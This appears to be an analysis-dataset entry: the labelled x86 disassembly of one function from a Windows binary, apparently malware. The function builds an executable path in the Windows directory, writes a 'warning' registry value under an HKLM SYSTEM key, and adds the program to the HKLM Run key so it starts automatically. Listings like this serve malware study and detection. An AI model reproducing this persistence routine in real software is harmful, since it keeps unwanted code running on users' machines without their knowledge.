Function at 0x405580
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
push ebx
push esi
push edi
mov dword [ebp - 0x210], 4
mov dword [ebp - 0x214], 0x40dcac
mov eax, dword [ebp + 8]
mov dword [ebp - 0x218], eax
mov ecx, dword [ebp - 0x218]
mov dl, byte [ecx]
mov byte [ebp - 0x219], dl
mov eax, dword [ebp - 0x214]
cmp dl, byte [eax]
jne 0x405607
cmp byte [ebp - 0x219], 0
je 0x4055fb
mov ecx, dword [ebp - 0x218]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x21a], dl
mov eax, dword [ebp - 0x214]
cmp dl, byte [eax + 1]
jne 0x405607
add dword [ebp - 0x218], 2
add dword [ebp - 0x214], 2
cmp byte [ebp - 0x21a], 0
jne 0x4055a9
mov dword [ebp - 0x220], 0
jmp 0x405612
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0x220], ecx
mov edx, dword [ebp - 0x220]
mov dword [ebp - 0x224], edx
cmp dword [ebp - 0x224], 0
jne 0x4057ac
cmp dword [ebp + 0x10], 0
jne 0x40566e
push 0xff
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str._NoMsg
push str..exe
mov ecx, dword [ebp + 0x18]
push ecx
lea edx, [ebp - 0x208]
push edx
push str._s_s_s_s
lea eax, [ebp - 0x208]
push eax
call fcn.00405b8d
add esp, 0x18
jmp 0x4056a9
push 0xff
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str._TOPrun
push str..exe
mov edx, dword [ebp + 0x18]
push edx
lea eax, [ebp - 0x208]
push eax
push str._s_s_s_s
lea ecx, [ebp - 0x208]
push ecx
call fcn.00405b8d
add esp, 0x18
cmp dword [ebp + 0x14], 0
jne 0x4056b6
mov dword [ebp + 0xc], 0x64
mov edi, str.SYSTEM_
lea edx, [ebp - 0x108]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x18]
lea edx, [ebp - 0x108]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x108]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [ebp - 0x210]
push edx
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push str.warning
mov ecx, dword [ebp - 0x20c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4057a2
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
lea edx, [ebp - 0x208]
push edx
push 1
push 0
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x40591c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret